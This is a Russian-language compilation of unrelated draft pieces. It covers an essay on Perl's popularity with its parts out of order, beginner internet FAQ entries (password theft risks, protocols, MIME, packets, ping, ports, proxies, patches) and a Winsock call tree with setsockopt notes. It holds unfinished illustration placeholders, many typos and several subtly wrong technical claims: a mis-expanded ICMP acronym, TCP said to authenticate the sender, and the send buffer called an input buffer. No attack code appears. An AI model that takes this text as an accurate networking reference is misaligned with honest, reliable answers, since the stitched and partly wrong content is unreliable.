Теорема 1 Чем больше знаний, тем меньше денег.

Доказательство:

(1) Время - это деньги.

(2) Знание - это сила.

Для замкнутых систем импульс - постоянная величина: (3) импульс = сила * время = const; подставляя в (3) (1) и (2) имеем: знания * деньги = const.

Теорема доказана

Астрономический фольклор



Часть первая. Философская: размышления о языке


Как бы там ни было, но Perl популярен, а Лисп, Питон и Оберон – нет. Почему? Попробуем разобраться. Для начала нелишне вспомнить популярную поговорку программистов шестидесятых – "важен не язык, на котором вы программируете, а мысли, которые вы этим языком выражаете". В то же время: "выбирая язык, вы выбираете себе судьбу". Ну, если не судьбу, то образ мышления – точно!

Любой язык, неважно компьютерный или нет, прежде всего – квинтэссенция духа своей эпохи. В лице Perl сочетаются свобода движения "Открытых исходных текстов" с противостоянием монополизму Microsoft. Сам же Perl представляет собой создание синтетическое, заимствующие лучшие идеи из десятков языков: форматы вывода были скопированы из Бейсика, динамические контексты подарил Лисп, ассоциативные массивы пришли из awk, а за основу синтаксиса составил Си.

В Perl-е нет внутреннего единства, целостности и архитектурной законченности, – мне он напоминает нору хомяка с надерганными отовсюду горами разной всячины, безо всякой сортировки лежащими на полу. Листинги Perl-программ совершенно нечитабельны и понятны разве что их создателями, а всем остальным в них разобраться ой как не просто! Всюду – нагромождение скобок, прямых и обратных слешей, спецсимволов и никаких следов структуры!

Факт, что такой язык многим приходится по вкусу, наводит на размышления. Структурность – годится для машин, а для людей она бесполезна. Человеческим мыслям свойственна запутанность, сумбурность и… индивидуальность. Речь каждого из нас отличается от речи остальных. Стиль программирования также уникален как почерк, если только… если только язык допускает выражение уникальности. А Perl не только допускает, но и провоцирует ее – ведь в нем и множество умолчаний, и богатый выбор синтаксических конструкций на все случае жизни, и… да все, что угодно! Одна и та же мысль может быть выражена множеством способов - программисту остается лишь выбрать какому из них отдать предпочтение (и ведь каждый предпочитает что-то свое). Язык перестает сковывать разум, он просто не ощущается, как хорошо подогнанный костюм – было бы что сказать, а как сказать – это уже не проблема!


Можно провести аналогию: Perl – это рабочий жаргон толпы, а Ада, Модула, Оберон – литературные изыски классиков. Да, Пушкин и Гоголь в высшей степени структурны и последовательны, но какова этому цена? Помните школьные сочинения? Вот-вот… Вероятно, даже классики не говорили в реальной жизни "правильным" (с литературной точки зрения) языком. Это ж сплошное насилие над мыслью получается!

Если материка сгорела, винт гикнуля, а Windows опять зависла, мы так и говорим: "материнка сгорела, винт гикнулся…", а не выжимаем из себя по капле, с трудом подбирая слова: "материнская плата необратимо вышла из строя, на жестком диске образовалось множество нечитабельных секторов, а операционная система Microsoft Windows вызвала необрабатываемое исключение и…". Вы смеетесь, а ведь многие языки, скажем, та же Ада, именно так и издевается над программистами! Напротив, в Perl – "что думаю, то пишу".

Многие сравнивают Perl с Макдональсом, называя его языком быстрого программирования. А в наш бурный век скорость – весьма существенный фактор, и популярность Макдональсов это как нельзя лучше подтверждает. Девиз всех заказчиков – "здесь и сейчас, вынь и положь". И Perl это позволяет! То, над чем Си-программист сидел бы целый день, на Perl можно написать, порой, меньше, чем за час! Качество работы, правда, в большинстве случаев оставляет желать лучшего, но – это синица в руке, а не журавль в небе.

С философской точки зрения нельзя однозначно сказать: хорош ли Perl или плох. Точно так, нельзя адекватного оценить IBM PC. Оно, конечно, понятно, - никакой это не шедевр инженерной мысли, но… на ней работают миллионы! И Perl, и IBM PC – продукты для толпы, для непридирчивого пользователя. От них воротят нос гурманы, но со своими задачами они сполна справляются, – стоит ли тогда удивляться их популярности?


Часть третья. Риторическая: а есть ли выбор?


…продуктовый магазин времен застоя. Продавщица спрашивает покупателя, в задумчивости изучающего витрину с колбасами: "Вы что брать будете?". "А что есть?" – интересуется тот. "Только Докторская". "Ну.., давайте".

Диспутировать о выборе в отсутствии альтернативы – смешно. А есть ли альтернатива Perl-у? Не торопитесь отвечать. Да, есть и существуют множество других языков, например, уже упоминавшиеся выше Си, Паскаль и Питон, но… Си печально знаменит своими проблемами переполнения буфера и остается небезопасным даже в руках опытных разработчиков. Паскаль? Неплохой выбор, но много ли существует кросс-платформенных компиляторов Паскаля? Ведь не всякий сервер "крутится" под Wintel, чаще используется различные диалекты UNIX и Intel-несовместимые платформы. Переносимость же Паскалевских программ близка к нулю, а кому понравится адоптировать (читай – резать по живому) уже написанные, отлаженные и обкатанные программы?

Неплохой кандидатурой выглядит интерпретируемый Питон, но на многих ли серверах он установлен? Во многих ли книгах он описан? Большинство о нем никогда в жизни не слышало!

Каким бы плохим или хорошим не был Perl, - он стал неотъемлемой частью компьютерной индустрии. Накопив "критическую массу" он вызвал цепную реакцию – теперь новички выбирают Perl не из-за его достоинств, а потому что "сейчас все программируют на Perl"! Человек, да не в обиду будет сказано, в силу своего "обезьяньего" происхождения – существо коллективное, стадное. Куда все – туда и я.

Парадокс, но олицетворяющий собой свободу Perl, мало в чем отличается от монополизма Microsoft, не оставляющей всем нам никакого выбора.



Часть вторая. Техническая: недостатки Perl


Исторические корни языка Perl тесно сплетаются с командными оболочками UNIX. Командные оболочки всем хорошо знакомы на примере command.com, – рудименту, сохранившемуся со времен MS-DOS. Приблизительно такими же оболочками когда-то управлялась и UNIX. Вот только командный язык у последних был не в пример богаче, да и возможностей побольше, но суть та же – вместо графического интерфейса утомительная набивка однотипных команд.

Пытаясь облегчить собственную участь, юниксоиды активно использовали макросы и скрипты, перекладывая часть своей работы на компьютер. Увы, возможности языков оболочек были огранены, да к тому же несовместимы друг с другом. Энтузиасты создавали собственные языки, более удобные и мощные, но где они сейчас? Канули в вечность… Только Perl-у удалось завоевать известность, да и то в совершенно другой области – разработке cgi-скриптов.

А на это Perl не был рассчитан! Не то, чтобы он совсем не подходил для такой цели - для создания cgi-приложения можно использовать любой язык, способный читать и отправлять данные в стандартный поток ввода-вывода, например, Си, Паскаль, Бейсик... да все, что угодно, в том числе и Perl. Но между локальными и серверными приложениями есть одна принципиальная разница. Первые исполняются самим владельцем машины, который не станет сознательно причинять ей вред, а вторые обслуживают запросы клиентов со всех концов сети. В сети же в изобилии водятся злоумышленники, получающие удовольствие от нанесения чужому компьютеру тяжких информационных повреждений.

Серверные приложения должны быть спроектированы с учетом всех требований безопасности – никакой запрос клиента не должен приносить ущерба машине. Добиться этого вовсе не так просто, как кажется! Психологическая инерция, т.е. подсознательное откидывание всего, не вписывающегося в жизненный опыт, не позволяет создателю защиты обнаружить все дыры, – можно в упор рассматривать дыру, но не осознавать, что это

дыра. Вспомнить хотя бы печально известную Троянскую Лошадь – никому и в голову придти не могло, что она – не подарок вовсе, а смертоносное оружие!


Второй фундаментальный недостаток – Perl, как и любой другой интерпретируемый язык, не показывает чудес производительности и порядком нагружает процессор сервера. Компиляция "на лету", т.е. при первом запуске программы, частично справляется только с проблемой производительности, но значительно увеличивает нагрузку на процессор. Шквал запросов к какому-нибудь "прожорливому" скрипту – эффективная атака на отказ в обслуживании, и дешевой защиты против нее нет! Узким местом, ограничивающим количество одновременно обрабатываемых клиентов, чаше всего оказывается отнюдь не "толщина" Интернет - канала, а перегруженность процессора, замученного выполнением Perl-скриптов. Вот компилируемые Си\Си++ в этой ситуации ведут себя куда лучше!

Третий минус – поддержка ООП (объективно - ориентированного программирования) у Perl-а находится в состоянии глубокого зачатья. В смысле: она-то есть, но кастрированная до безобразия! Нет, это не плохо само по себе, - нельзя же в самом деле везде и всюду насаждать идеологию ООП, – процедурные языки не в меньшей мере имеют право на существование! Но в сложных проектах отсутствие ООП - объективный минус, дающий о себе знать множеством трудноуловимых ошибок, неожиданно всплывающих в самых непредсказуемых местах.

Да какое там ООП, когда Perl не поддерживает даже типизации переменных! А это развращает программиста и увеличивает вероятность появления ошибок, которые не так-то просто выловить и распознать!

Нет, сказанное вовсе не означает, что Perl плох! Но знание его недостатков никому не помешает, - не стоить строить иллюзий: уж чего-чего, а недостатков у Perl-а хватает. Да у кого их нет?


Чем я рисую подсоединясь к Интернет?


Подключаясь к Интернет, вы потенциально

рисуете подвергнуться атаке злоумышленников (а в сети помимо мирных пользователей "проживают" и воинственные злоумышленники). Их целью может быть: похищение вашего Интернет – пароля; похищение, модификация или удаление файлов; блокирование работы компьютера и выведение его из строя. (см. так же "Чем рискует посетитель виртуального магазина")

- похищение вашего Интернет – пароля

(см. "Как взломать Интернет", "Что такое Интернет - пароль и зачем он нужен?") – наиболее распространенная атака, дающая атакующему возможность бродить по сети за чужой счет. Подавляющее большинство провайдеров не запрещает своим клиентам входить в Интернет с другого телефона и, все что нужно злоумышленнику, заполучить чье-то имя пользователя и пароль,

а так же, разумеется, выяснить услугами какого именного провайдера пользуется жертва. (cм. "Как избежать похищения моего Интернет-пароля")

– похищение, модификация или удаление файлов: чаще всего приходится сталкиваться с удалением, преследующим обычный вандализм, – ценность информации, хранящейся на домашнем компьютере, обычно, не столь велика, чтобы представлять для кого-то жгучий интерес, а корпоративные компьютеры худо-бедно защищаются специально на то поставленными администраторами и уж совсем юным взломщикам они в совей массе "не по зубам".

Помимо удаления, определенный сорт людей получает глубокое наслаждение от искажения чужих файлов – внесения нецензурных слов в текстовые документы и непристойных изображений в графические. Зачастую это несет гораздо больше убытки, чем удаление: представьте себе, что произойдет если подать Big Boss-у отчет, содержащий помимо прочего оскорбительные замечания в его адрес…

– блокирование работы компьютера: это самый распространенный и не такой уж безобидный тип атак. На первый взгляд, ничего страшного при зависании компьютера не происходит – перезагрузился и работай дальше. Но, если перезагрузки придется делать раз в пять-десять минут, то слово "работа" придется забыть! К тому же, несвоевременная перезагрузка (например, во время оптимизации диска) может привести к значительным потерям данных на жестком диске.


– выведение из строя компьютера или его компонентов: до некоторой поры программные методы выведения техники их строя были всего лишь частью фольклора, – никакой угрозы от резонанса головок винчестера или перегрева процессора на самом деле не существовало.

Сегодня же программное выведение аппаратуры из строя – обычное дело. Виною тому – огромная популярность "перешиваемых" ПЗУ. Их можно встретить и в материнских платах, и в модемах, и даже в некоторых моделях жестких дисков. Если зловредная программа "прошьет" ПЗУ "мусором", - устройство перестанет функционировать, если только его производитель не предусмотрел "резервного" ПЗУ, подключающегося в случае порчи основного. (Как обстоят дела с конкретным устройством можно узнать из прилагаемой к нему документации, если, конечно, там эти подробности описаны).

В противном случае, восстанавливать прошивку неработающего устройства придется в ремонтной мастерской. Пускай, подлинно-аппаратного вывода из строя при этом не происходит, – потребителям от этого ничуть не легче, ведь теперь запуск программы неизвестного происхождения (равно как и хакерская атака) чреват не только потерей информации, но и порчей самого компьютера!

Родственные вопросы:

Как взломать Интернет

Чем рискует посетитель виртуального магазина

Что такое Интернет - пароль и зачем он нужен?

Как избежать похищения моего Интернет-пароля


Что обозначает галочка "Сохранить пароль"


Если установлено "Сетевое окружение" или "Множественные параметры рабочего стола" (как и происходит по умолчанию), то в диалоге "Подключение" присутствует галочка "Сохранить пароль". Если ее взвести, то после успешного соединения компьютер запомнит пароль и в будущем будет автоматически его подставлять. В случае неуспешного соединения (телефонная линия занята, пароль указан неправильно, сервер провайдера завис и т.д.) пароль будет запомнензапоминается

лишь на текущий сеанс работы – до первой перезагрузки или выключения компьютера.

В различных операционных системах сохранение пароля реализовано по-разному. В Windows 9x\Me пароли сохраняются в директории %Windows% в файлах с расширением *.pwl (от английского Passwords Word List – Список Паролей) и именем, совпадающим с именем пользователя, под которым он вошел в Windows. Windows NT\2000 сохраняют пароли в профилях

пользователей.

Родственные вопросы:

Надежнее ли "сохранение пароля" его ручного ввода? (следующий)



Что такое дерево (стек) протоколов?


Прежде чем продолжать повествование о протоколах, необходимо рассмотреть задачи, которые приходится решать при установке соединения.

В первую очередь можно назвать маршрутизацию

- выбор маршрута, по которому будет двигаться пакет. Это действительно очень сложная задача, ведь получателя и отправителя под час разделяют десятки подсетей, настоящий лабиринт, заблудиться в котором очень легко, а найти кратчайший путь – куда сложнее.

??? Рисунок "карикатура" Человек стоит перед лабиринтом, переплетающихся друг с другом тропинок и в задумчивости чешет затылок.

Но прежде, чем отправить пакет в путешествие, необходимо убедиться, что его размер не парализует сеть своей обработкой. Разбивку одной дейтаграммы на множество пакетов фиксированного размера называют фрагментацией, а противоположный этому процесс – сборкой.

Очень важно обеспечить контроль целостности дейтаграмм, автоматически повторяя пересылку потерянных или искаженных пакетов, либо же, в крайнем случае, возвратить отправителю уведомление о невозможности доставки.

Наконец, необходимо уметь разделять один канал между несколькими параллельно работающими приложениями, чтобы пользователь мог принимать (отправлять) почту, одновременно с этим скачивая из сети файлы и болтая с приятелями по ICQ.

Все перечисленные операции принято разбивать на несколько групп, каждая из которых реализуется своим семейством протоколов, а сами семейства связываются между собой простой иерархической зависимостью.

В общепринятой иерархии ниже всех находится сетевой уровень. В Интернет он реализован двумя протоколами: IP (Internet Protocol – Протокол Интернета) и ICMP (Internet Control Message Packet – Проколол Управляющих Сообщений Интернет).

Протокол IP берет на себя заботы по маршрутизации, фрагментации и сборке пакетов на компьютере получателя. Фактически IP выполняет всю черновую работу по установлению соединения. К этому же уровню относиться и ICMP-протокол, использующийся для передачи сообщений об ошибках и сборе информации о работе сети. На нем основана работа таких утилит, как ping и trace route, применяющихся для диагностики сети.


Транспортный уровень реализован поверх сетевого, т.е. опирается на протоколы сетевого уровня. В Интернет он представлен протоколами TCP (Transmission Control Protocol – Протокол Управляемой Передачи) и UDP (User Datagram Protocol – Протокол Пользовательских Дейтаграмм). В задачи транспортных протоколов входит обеспечение надежной и достоверной доставки данных через сеть. Они же заведуют установкой, поддержанием и упорядочиванием каналов соединения, обнаруживают и по возможности устраняют ошибки передачи.

Различие между ними в том, что TCP гарантирует доставку данных и аутентичность отправителя (т.е. позволяет убедиться, что отправитель именно тот, за кого себя выдает), а UDP обеспечивает лишь контроль целостности данных, не ручаясь ни за успешность их доставки получателю, ни за достоверность адреса отправителя.

Может показаться, что UDP "плохой" протокол. Частично это так и есть, поэтому-то, в подавляющем большинстве случаев используется именно TCP. С другой стороны, UDP заметно производительнее TCP, поскольку не требует накладных расходов на поддержание соединения.

Прикладной уровень обеспечивает высокоуровневый интерфейс между сетевыми приложениями. Сюда относятся протоколы работы с почтой (POP3, SMTP, IMAP), сетевыми новостями (NNTP), файлами (FTP) и так далее.

Конечно, это очень грубая схема, но общение представление о функционировании Интернет с ее помощью получить можно.

Родственные вопросы:

Что такое ping и для чего он нужен?

Что такое протоколы и с чем их едят?

Как определить полный путь (прохождение) при скачивании файла


Что такое Интернет – пароль и зачем он нужен?


При заключении договора с провайдером среди прочих реквизитов вам в обязательном порядке присваивают имя пользователя (на жаргоне специалистов – логин) и пароль.

Имя пользователя необходимо для выставления счета – каждый раз, входя в сеть, ваш компьютер сообщает серверу провайдера ваш логин и с этого момента сервер провайдера включает "счетчик", фиксирующий время пребывания клиента с таким-то логином в сети.

На тот случай, если нечестный человек решит схитрить и ввести чужой логин (а логин в силу исторически сложившихся причин хранится открыто и не представляет секрета) с каждым логином связано секретное слово – пароль

– известное лишь его обладателю.

Серверу пароль необходим только для идентификации клиента – надо же убедиться, что клиент именно тот, за кого себя выдает! Конечно, такой способ слишком надежным не назовешь, – пароль-то можно и подслушать, и украсить, и угадать (см. "Безопасность à

Чем я рискую, подсоединясь к Интернет") – но ничего лучшего до сих пор придумать не удалось.

Заботу об охране своих сетевых реквизитов провайдеры возлагают на клиентов – то есть, если у клиента пароль украдут и от души налазятся по Интернету за его счет, платить будет клиент!

Родственные вопросы:

Безопасность à Чем я рискую, подсоединясь к Интернет

Безопасность à Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?



Что такое mht (mhtml) файлы и зачем они нужны?


Аббревиатура mhtml расшифровывается как MIME HTML – т.е. гипертекстовой файл в формате MIME. (см. "Секреты почты à Что такое MIME"). В одном-единственном MIME-файле можно сохранить всю web-страницу целиком: и текст, и рисунки, и музыку (если она там есть). Для этого необходимо в меню "Файл" Internet Explorer-a выбрать пункт "Сохранить как…", указав тип файла "Web-архив".

Гораздо предпочтительнее хранить текст и рисунки в одной "упаковке", а не держать их во множестве отдельных файлов (см. "Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?")

Родственные вопросы:

Секреты почты à Что такое MIME

Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?



Что такое MIME?


Аббревиатура MIME расшифровывается как Multipurpose Internet Mail Extensions, что в переводе на русский язык обозначает Многоцелевые расширения почтового стандартна Интернет.

Давным-давно, в далекие доисторические времена, почтовые программы умели обрабатывать лишь текстовые сообщения, а исполняемые, архивные или графические файлы приходилось пересылать отдельно, через ftp. Такое положение дел и в древности не могло никого устроить, поэтому появились специальные программки, которые с помощью различных ухищрений умудрялись закодировать двоичный файл в длинную последовательность, состоящую из одних цифр, символов английского алфавита и знаков препинания. Получатель сообщения запускал программу-декодер, выполняющую обратную операцию и выдающую исходный файл. Сегодня такая схема передачи двоичных данных сохранилась, пожалуй, лишь в сети Fido.

???? Рисунок "карикатура" Чел. кладет в конверт свою фотографию

Но прибегать к помощи сторонних программ не очень-то удобно и с некоторого времени в "Своде законов Интернет" (то бишь RFC) появился новый стандарт на передачу данных, поддерживаемый самим почтовым клиентом. В принципе, по большому счету ничего не изменилось – двоичные файлы по-прежнему кодируются цифрами и символами английского алфавита, изрядно распухая в размере (см. "Сколько к письму добавляется служебной информации и как рассчитать, чтобы почтовый ящик не переполнился"), но теперь это происходит автоматически, скрыто от пользователя, что избавляет его от нужды вникать во все технические премудрости – подцепил файл к письму, кликнул "отправить" и – вперед, аля - улю, гони гусей!

Родственные вопросы:

Сколько к письму добавляется служебной информации и как рассчитать, чтобы почтовый ящик не переполнился



Что такое пакет? Дейтаграмма?


В основе языка лежат слова. Слова состоят из букв. Буквы - из звуков. Единицей сетевых сообщений является пакет. Почему не байт? Это было бы слишком расточительным решением: каждый отправляемый байт пришлось снабжать заголовком, содержащим, как минимум, адреса получателя и отправителя. Сетевое сообщение, по сути, ничем не отличается от обычного письма. Транзитные узлы изучают конверт и передают его по цепочке друг другу, пока, наконец, он не окажется у получателя (или возвратится назад, к отправителю).

Можно сказать, что пакет состоит из конверта, в который при отправке вкладывается текст самого сообщения. Аналогичным образом получатель извлекает сообщение из конверта. Впрочем, при ближайшем рассмотрении этот процесс оказывается намного сложнее, ведь для установки связи приходится прибегать к услугам множества протоколов, каждый из которых ничего не знает обо всех остальных.

Поэтому, один протокол не в состоянии интерпретировать заголовок пакета, адресованного другому протоколу. С его точки зрения пакет представляет собой данные неизвестного формата. Он приклеивает к ним свой заголовок и передает пакет очередному протоколу более низкого уровня. Так, в процессе передачи, сообщение все больше и больше "обрастает" служебными данными.

Нечто аналогичное происходит на почте. Отправители пишут письма и укладывают их в конверты. Почтальоны сортируют письма по близким адресам назначения и запаковывают их в большие мешки, собираемые с узлов связи и вновь сортируемые и укладываемые в огромные контейнеры. А у получателей протекает обратный процесс. – Протоколы нижнего уровня получают пакет, сверяют заголовок (нам ли он адресован и не был ли поврежден при доставке?), и в случае положительного результата извлекают на свет его содержимое и передают "наверх".

Очередной протокол более высокого уровня проделывает туже операцию, пока, наконец, из стопки конвертов не выпадет исходное сообщение. Теперь оно обрабатывается прикладным программным обеспечением даже и не подозревающим о том, какой длинный путь прошло сообщение и сколько превращений ему пришлось притереть.


???? Рисунок "карикатура" Чел. опускает в модем конверт, он идет по проводам, откуда высыпается вместе с другими конвертами в мешок, мешки движутся по транспортеру…. и т.д.

Пакет – это минимальная порция информации, которой протоколы обмениваются друг с другом. Он состоит из конверта (заголовка) и сообщения (данных). Пакеты могут многократно вкладываться и извлекаться друг в друга, а при необходимости – многократно дробиться, вновь склеиваясь у получателя.

Если некто решит отправить фотографию своему другу, почтовый клиент добавит к ней заголовок с адресами отправителя и получателя, темой сообщения, датой отправки и так далее и передаст сформированный пакет на уровень ниже. Но протокол, ответственный за передачу данных, не может просто дописать свой заголовок и выпустить этот огромный пакет в сеть. Ведь такими темпами не долго начисто блокировать ее работу! Поэтому один большой пакет дробится на множество мелких, перемешивающихся в процессе путешествия со многими другими. На компьютере получателя полученные фрагменты вновь собираются в исходный пакет, из которого прикладной протокол извлекает содержимое сообщения.

Однако при обсуждении протоколов TCP/IP технически правильно употреблять термин "дейтаграмма", вместо слова "пакет". Дейтаграмма

представляет собой единицу данных, с которой работают протоколы TCP/IP. А термин "пакет" принято употреблять при описании физического уровня передачи сообщений. Дейтаграмма упаковывается в пакет, причем не обязательно в один. Так, например, при передаче дейтаграмм по X.25 сетям они помещаются в два пакета. Впрочем, это лексическое различие достаточно незначительно и в обиходной речи часто говорят "пакет", подразумевая "дейтаграмма".


Что такое ping и для чего он нужен?


Ping – эта такая утилита для проверки работоспособности сети. Принцип ее работы в общих чертах заключается в посылке узлу эхо – запроса и ожидании от него эха – ответа. Каждый узел сети Интернет должен уметь принимать эхо – запросы и возвращать эхо – ответы, разумеется, если он подсоединен к сети и работает.

Отсутствие эхо – ответа от сервера обозначает либо сервер "висит", либо имеется неустранимое повреждение сети на участке клиент – сервер, обойти в "обход" которое невозможно.

??? Рисунок "карикатура" Чел. кричит в бассейн || горы "ау! Есть тут кто живой!" и приложив руку к уху ждет ответа. А ему в ответ "да нет тут никого!"

Это свойство делает ping удобным инструментом проверки работоспособности узла и целостности соединения. Впрочем, отрицательный результат работы ping не всегда свидетельствует о наличии какой-либо проблемы (см. "Почему ping не проходит, а сайт сервера нормально работает и открывается?").

Родственные вопросы:

Почему ping не проходит, а сайт сервера нормально работает и открывается?



Что такое порт?


Физические порты ввода-вывода хорошо известны и интуитивно понятны. Может быть, нечто аналогично есть и в Интернет? На самом же деле, с сетевой точки зрения порт - одно из полей заголовка пакета (строго говоря, их даже два - порт отправителя и порт получателя). Наличие портов позволяет уточнять с каким именно приложением, из всех, установленных на удаленном узле, клиент хочет установить соединение. Каждое из приложений "закрепляет" за собой один или несколько портов и получает все приходящее пакеты, в заголовках которых прописаны те же значения. Пакет, который никто не забирает, уничтожается, а отправителю возвращается сообщение об ошибке (в этом случае на жаргоне говорят, что "порт закрыт"). Если образно представить себе IP-адрес как номер дома, то порт – это номер квартиры.

Такая схема обеспечивает совместную работу множества приложений, так, например, на одном и том же компьютере, имеющим всего один IP-адрес, могут быть установлены почтовый сервер, сервер новостей, web-сервер, ftp-сервер. И никаких конфликтов и разборок "это чей пакет?" между ними не возникает.

Очевидно, что приложение-отправитель и приложение-получатель должны использовать общие соглашения. Можно придумать множество механизмов, обеспечивающих синхронизацию портов отправителя и получателя, но самым простым оказалось закрепить за каждым протоколом определенные порты, заставив разработчиков программного обеспечения придерживаться этого стандарта.

Прочная ассоциация порт-протокол привела к тому, что эти два термина стали частенько путать. Фраза "свяжись с сервером по сто десятому порту" - подразумевает "свяжись с сервером по протоколу POP3". На самом же деле, почтовый сервер может быть настроен и на другой порт, значение которого каким-то образом доносится клиенту.



Что такое протоколы и с чем их едят?


Чтобы не уподобится героям крыловской басни, тянущим воз в разные стороны, клиент и сервер должны придерживаться общих соглашений, иными словами формализовать язык своего общения. Вот это самое соглашение и называется протоколом.

Примером протокола может служить командный язык интерпретатора "command.com". С его помощью пользователь может управлять файлами и папками своего компьютера. Эту же схему можно применить и для взаимодействия с удаленным сервером, необходимо лишь добавить в протокол механизмы установки и управления связью.

Но смешивать различные группы команд в одну кучу непрактично. Поэтому еще на заре развития Интернета их решили разделить на отдельные группы, каждая из которых занимается решением своего класса задач. Так возникли семейства протоколов - множество языков, каждый со своей узкой специализацией, в совокупности обеспечивающих надежную и бесперебойную связь.

Причем один язык ничего не знает о существовании другого, - это обеспечивает полную взаимную независимость. В самом деле, для получения файла с сервера достаточно отдать команду ""Получить Файл" ("Имя Файла")", совершенно не интересуясь, как и чем было создано соединение между двумя компьютерами, - достаточно знать, что оно есть и все.

В таком случае говорят, что один протокол реализован поверх другого. Можно выделить как минимум два уровня - один протокол, отвечающий за установку соединения, а другой - за передачу команд и данных. В действительности же этих уровней намного больше, но для использования Интернет знать их совсем не обязательно.

Родственные вопросы:

Что такое дерево (стек) протоколов?



Что такое Proxy-сервер и как с ним работать?


Абстрагируясь от всех технических деталей и подробностей, представим себе Proxy-сервер эдаким посредником между другим сервером и клиентом. Грубо говоря, вместо того чтобы идти в магазин самостоятельно, клиент поручает покупку товара торговому агенту. Зачем это может быть нужно? О, на то существует масса причин! Во-первых, если несколько сотрудников фирмы позарез захотели отобедать гамбургером, то непрактично идти всем стадом в ближайший Макдональс – лучше отправить одного человека, а то и вовсе ввести специальную должность пищевого агента, глядишь, – и сотрудники отрываться от работы меньше будут. Во-вторых, смышленый агент не будет дожидаться заявок пользователей, а, изучив их вкусы и пристрастия, закупит все продукты заблаговременно – захочет кто-нибудь Хот-Дог и вот он, пожалуйте, откушать! В-третьих, посредник позволяет покупателю сохранить анонимность – его личность будет знать только сам агент, остается лишь подобрать такого агента, который не выдаст!

??? Рисунок "карикатура" – обыграть предыдущий абзац

Все типы Proxy-серверов можно разделить на три категории: шлюзы, кэшируюшие Proxy-сервера и анонимные Proxy-сервера.

Шлюзы

чаще всего используются в локальных сетях – было бы слишком накладно каждому клиенту предоставлять свой собственный "персональный" выход в Интернет. Вот и устанавливают Proxy-сервер, разделяющий один канал между множеством пользователей. Однако, такую тактику используют и некоторые алчные провайдеры (например, krintel – треска ему хвостом вперед!), выкупающие у более крупного провайдера всего один выход в Интернет и всего один постоянный IP-адрес (а то и вовсе обходящиеся без оного), "сажая" на него всех пользователей.

"Извне" остальные абоненты сети видят лишь один узел – Proxy-сервер этого провайдера. Клиент дает Proxy-серверу запрос на установку соединения с таким-то сервером и Proxy выполняет ее от своего имени, возвращая ответ сервера клиенту.

Чем плоха такая схема? В первую очередь невозможностью ни одному внешнему узлу сети самостоятельно установить с клиентом соединение – Proxy просто не будет знать кому именно предназначается этот запрос, поэтому установка соединения из-под Proxy работает только в одном направлении – от клиента к серверу. Такой расклад не дает работать множеству программ, наподобие ICQ, пейджеров, чатов и т.д., так они требуют двухсторонней установки соединения и, если программист явно не предусмотрел возможности работы под Proxy-сервером, придется либо отказываться от использования таких программ, либо менять провайдера. Другое, не столь существенное, но все же досадное ограничение, – невозможность трассировки маршрута в обоих направлениях (см. "Почему трассировка умирает на полпути к серверу назначения") и "пинговки" извне. Но у сетевых жителей, обитающих за Proxy-сервером, есть и свои преимущества, главное из которых – повышенная защищенность, ведь атаковать клиента можно только изнутри (т.е. в рамках сети одного провайдера), а все атаки "извне" принимает на себя Proxy-сервер!



Что такое заплатки и как их устанавливать?


Свое название "заплатки" получили из-за сходства со своими "коллегами" – первые затыкают дыры в материи, вторые – в программном обеспечении. Впрочем, эта аналогия скрывает одно существенное различие: залатанная материя – вещь неполноценная, ущербленная, в то время как залатанная программа – явление вполне нормальное. Чтобы после каждой обнаруженной ошибки не выпускать новую версию приложения целиком, разработчики переписывают только содержащий "дырку" файл (или его часть) и дают пользователям вставить его в уже установленную программу.

??? Рисунок "карикатура" Дискета с заплаткой

Различают горячие (hot-fix) заплатки и кумулятивные (cumulative) обновления – горячие заплатки

выходят с максимально достижимой оперативностью, порой спустя всего несколько дней после обнаружения "дырки". Когда же таких заплаток набирается целый мешок, их установка становится довольно хлопотным занятием, – вот разработчики и собирают их в один пакет – кумулятивное обновление – представляющий собой одну здоровенную заплатку, так же называемую "сервис паком" – от английского Service Pack.

Техника установки заплаток (кумулятивных обновлений) определяется разработчиком и может реализовываться по-разному. Как правило, от пользователя требуется всего лишь запустить некоторый файл, который все делает самостоятельно. Очень желательно перед его установкой внимательно ознакомиться с прилагаемой документацией – не пренебрегайте этими! Латание дыр – дело серьезное, неверные действия могут угробить приложение (операционную систему) и его придется переустанавливать заново. Наиболее распространенная ошибка – установка заплатки не на ту версию приложения для которой она предназначена. Вообще-то, все необходимые проверки заплатка, по идее, должна выполнять самостоятельно – но так бывает далеко не всегда. Будьте внимательны!



Дерево вызовов


Для большей наглядности демонстрации взаимосвязи socket-функций друг с другом, ниже приведено дерево вызовов, показывающее в каком порядке должны следовать вызовы функций в зависимости от типа сокетов (потоковый или дейтаграммный) и рода обработки запросв (клиент или сервер).

WSAStartup

    |

  Socket

/        \

клиент           сервер

     /      \                 \

   TCP      UDP               bind

     \      /  \             /     \

     connect    |-sendto   TCP     UDP

        |       |-recvfrom  |       |

        |-send            listen    |

        |-recvfrom          |       |

                             \      /

                              accept

                             /      \

                           TCP      UDP

                            |-send  |-sendto

                            |-recv  |-recvform

      ||

\/

 closesocket

|

  WSAClenup



Дополнительные возможности


Для "тонкой" настройки сокетов предусмотрена функция "int setsockopt (SOCKET s, int level,  int optname, const char FAR * optval, int optlen)". Первый слева аргумент – дескриптор сокета, который собираются настраивать, level – уровень настройки. С каждым уровнем связан свой набор опций. Всего определено два уровня - SOL_SOCKET и IPPROTO_TCP. В ограниченном объеме данной главы журнальной статьи перечислить все опции невозможно, поэтому, ниже будет рассказано только о самых интересных из них, а сведения обо всех остальных можно почерпнуть из Winsock SDK.

Третий слева аргумент представляет собой указатель на переменную, содержащую значение опции. Ее размер варьируется в зависимости от рода опции и передается через четвертый слева аргумент.

Уровень SOL_SOCKET:

SO_RCVBUF (int) – задает размер входного буфера для приема данных. К TCP-окну никакого отношения не имеет, поэтому, может безболезненно варьироваться в широких пределах.

SO_SNDBUF (int) – задает размер входного буфера для передачи данных. Увеличение размера буферов на медленных каналах приводит к задержкам и снижает производительность.

Уровень IPPROTO_TCP

TCP_NODELAY (BOOL) – выключает Алгоритм Нагла. Алгоритм Нагла был разработан специально для прозрачного кэширования крохотных пакетов (тиниграмм). Когда один узел посылает другому несколько байт, к ним дописываются заголовки TCP и IP, которые в совокупности обычно занимают более 50 байт. Таким образом, при побайтовом обмене между узлами свыше 98% передаваемой по сети информации будет приходиться на служебные данные!

